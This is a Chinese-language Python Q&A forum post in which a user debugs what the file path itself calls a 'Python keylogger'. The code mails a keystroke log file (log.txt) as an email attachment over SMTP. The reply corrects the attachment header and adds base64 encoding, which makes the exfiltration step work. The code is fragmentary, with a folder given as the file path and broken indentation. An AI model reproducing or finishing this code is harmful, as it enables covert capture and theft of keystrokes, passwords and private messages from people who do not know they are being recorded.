PermissionError:[Errno 13]权限被拒绝python错误

2024-09-29 10:33:02 发布

您现在位置:Python中文网/ 问答频道 /正文

我试图以管理员身份运行可视化代码,但这并没有解决问题,我试图以rb模式打开此文件,但我无法。当我尝试执行时,它给了我这个权限错误

msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Microsoft"
body = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam euismod arcu ultrices magna semper, sit amet suscipit lectus vehicula. In hac habitasse platea dictumst. Curabitur dolor purus, ullamcorper ut aliquet at, pulvinar ut ante. Integer sed semper orci. Phasellus pharetra molestie mi, tempor bibendum turpis euismod eget. Nullam scelerisque enim nec nunc maximus, id mollis magna condimentum. Proin mollis pulvinar mollis. Vivamus pharetra arcu non tortor faucibus interdum. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas."
msg.attach(MIMEText(body,'plain'))
filename = "log.txt"
attachment = open(r"C:/Users/messa/Desktop/Python keylogger/", "rb")
p = MIMEBase('application', 'octet-stream')
p.set_payload((attachment).read())
p.add_header('Content-description','attachment; filename= %s' % filename)
msg.attach(p)

def on_release(key):
if key == Key.esc:
    s.sendmail(fromaddr,toaddr,text)
    s.quit()
    return False

Tags: attachmentbodymsgfilenamerbdolorametsit
1条回答
网友
1楼 · 发布于 2024-09-29 10:33:02

多亏了@Marichyasana,才有了3个问题。他在评论中修正了一个问题,第二个问题是我输入了内容描述,它应该是我的“内容配置”

p.add_header('Content-description','attachment; filename= %s' % filename)

第三,我忘了对有效载荷进行编码

encoders.encode_base64(p)

多亏了那个尽力帮忙的人

相关问题 更多 >